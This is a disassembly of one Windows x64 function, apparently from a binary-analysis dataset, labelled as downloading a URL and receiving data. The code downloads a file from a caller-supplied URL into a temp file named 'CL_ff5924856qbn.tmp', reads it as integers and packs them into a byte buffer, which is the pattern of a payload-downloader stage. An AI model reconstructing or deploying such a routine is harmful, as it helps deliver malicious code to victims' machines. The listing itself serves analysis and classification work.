Function at 0x140001870
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x300], rax
mov r14, rcx
xor r15d, r15d
mov dword [rsp + 0x60], r15d
lea rdx, [rbp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
lea rax, [rbp + 0x1f0]
mov rdx, 0xffffffffffffffff
mov rbx, rdx
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400018e4
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x140002128
mov qword [rsp + 0x58], 0xf
cmp rbx, 0x10
jae 0x140001932
mov qword [rsp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp + 0x1f0]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x40], r15b
jmp 0x1400019c7
mov rax, rbx
or rax, 0xf
cmp rax, rsi
ja 0x14000194d
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
mov rcx, rsi
add rcx, 1
cmovb rcx, rdx
cmp rcx, 0x1000
jb 0x140001990
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002122
mov rcx, rax
call fcn.140005778
test rax, rax
je 0x140001989
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400019a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000199f
call fcn.140005778
mov rdi, rax
jmp 0x1400019a2
mov rdi, r15
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rsi
mov r8, rbx
lea rdx, [rbp + 0x1f0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], r15b
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x140001a18
lea rax, [rcx + 0x15]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x15
lea rdx, str._CL_ff5924856qbn.tmp
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x15], 0
lea rax, [rsp + 0x40]
jmp 0x140001a30
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rsp + 0x40]
call fcn.140004fd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1d8], r15
mov qword [rbp + 0x1e0], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001aac
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005770
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rbx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0x10
cmovae rbx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rdi, [0x140000000]
lea rax, [rdi + 0x7ae8]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], r14
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x70], rsi
mov byte [rbp + 0xc], 0
mov byte [rbp + 1], 0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x10], r15
mov rax, qword [0x14000bb00]
mov qword [rbp + 4], rax
mov qword [rbp - 8], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], 0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov qword [rbp + 0x1a0], r15
mov edx, 1
lea r8d, [rdx + 0x3f]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_]
mov rbx, rax
test rax, rax
jne 0x140001c06
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140001cf7
mov byte [rbp + 0xc], 1
mov byte [rbp + 1], 0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rsp + 0x68]
mov qword [rsp + 0x30], r9
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x28], r8
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov qword [rbp + 0x10], rbx
mov rax, qword [0x14000bb00]
mov qword [rbp + 4], rax
mov qword [rbp - 8], r15
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
nop
mov rcx, rax
call fcn.140004d50
mov rbx, rax
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x140001ca8
mov qword [rbp - 8], r15
jmp 0x140001cb7
mov qword [rbp - 8], rbx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001cdd
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140001cdd
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
cmp qword [rbp + 0x10], 0
je 0x140001f26
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
lea rax, [rdi + 0x7af0]
mov qword [rbp + 0x90], rax
lea rax, [0x140007a28]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 7
xor r8d, r8d
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x90], rbx
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x110], r15
mov dword [rbp + 0x118], r15d
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
jne 0x140001eaa
nop dword [rax + rax]
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp - 0x80]
call fcn.140004960
lea rdx, [0x140001290]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0x10
cmovae rdx, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1b8]
mov rcx, rax
call fcn.140005330
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rdx, qword [rbp + 0x198]
cmp rdx, qword [rbp + 0x1a0]
je 0x140001e5c
mov eax, dword [rsp + 0x68]
mov dword [rdx], eax
add qword [rbp + 0x198], 4
jmp 0x140001e6d
lea r8, [rsp + 0x68]
lea rcx, [rbp + 0x190]
call fcn.1400054f0
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::eof_void_const___ptr64]
test al, al
je 0x140001de0
lea rcx, [rbp - 0x70]
call fcn.1400047a0
test rax, rax
jne 0x140001ed5
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x90], rbx
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0xa8]
call fcn.1400036a0
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov ecx, 0x6600
call fcn.1400057bc
mov rbx, rax
mov rdx, r15
mov rcx, qword [rbp + 0x198]
mov r8, qword [rbp + 0x190]
sub rcx, r8
sar rcx, 2
test rcx, rcx
je 0x140001f75
movzx ecx, byte [r8 + rdx*4]
mov byte [rdx + rbx], cl
inc rdx
mov rax, qword [rbp + 0x198]
mov r8, qword [rbp + 0x190]
sub rax, r8
sar rax, 2
cmp rdx, rax
jb 0x140001f50
test r8, r8
je 0x140001fd2
mov rax, qword [rbp + 0x1a0]
sub rax, r8
sar rax, 2
lea rdx, [rax*4]
mov rax, r8
cmp rdx, 0x1000
jb 0x140001fb8
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.140005770
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r15
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x140002016
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002011
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002011
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005770
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c0], 0xf
mov byte [rbp + 0x1a8], 0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x80], r14
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
mov qword [rbp - 0x70], rsi
cmp qword [rbp + 0x10], 0
je 0x140002080
mov rax, qword [rbp - 0x58]
lea rcx, [rbp]
cmp qword [rax], rcx
jne 0x140002080
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov qword [rax], rcx
mov rax, qword [rbp - 0x38]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x20]
mov dword [rax], edx
cmp byte [rbp + 0xc], 0
je 0x14000208f
lea rcx, [rbp - 0x70]
call fcn.1400047a0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x1400020f3
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005770
mov rax, rbx
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140005750
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001110
int3
call fcn.1400011b0
int3